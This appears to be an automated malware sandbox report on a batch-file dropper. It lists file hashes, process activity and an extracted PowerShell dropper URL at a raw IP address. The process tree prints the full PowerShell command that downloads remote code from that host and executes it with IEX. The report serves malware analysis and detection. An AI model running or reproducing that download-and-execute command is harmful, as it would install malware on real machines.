a13613d7952a7e6474f41c2fcf650bec3e50ee027145a402bba895ab8297b4f1 | Triage

Analysis

max time kernel
107s
max time network
109s
platform
windows10_x64
resource
win10v200217
submitted
24-03-2020 20:10

Sharing

Report Analysis Logs

General

Target

9sqN4BDv.bat
Size

192B
MD5

cc0b34e285a2bb5b9ab6cd4d0592c578
SHA1

6aecda27a86b4d3b07cb48a9df62aa6939372b6b
SHA256

a13613d7952a7e6474f41c2fcf650bec3e50ee027145a402bba895ab8297b4f1
SHA512

e30461021be4fe4bb764cb8763e8c2da51c14d0dad429ac8daae5a7a14591949d3ee2be520eb32cdf423ff7e4bbb85d4927b2ac597591c6d1ace11d28c534447

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/9sqN4BDv

Signatures

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe
996	WerFault.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

996 3248 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 996 WerFault.exe
Token: SeBackupPrivilege 996 WerFault.exe
Token: SeDebugPrivilege 996 WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9sqN4BDv.bat"
1⤵
PID:3936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/9sqN4BDv');Invoke-ZAXLINUUB;Start-Sleep -s 10000"
2⤵
PID:3248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3248 -s 704
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:996

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/996-0-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/996-1-0x0000000004E20000-0x0000000004E21000-memory.dmp

Filesize
4KB

Download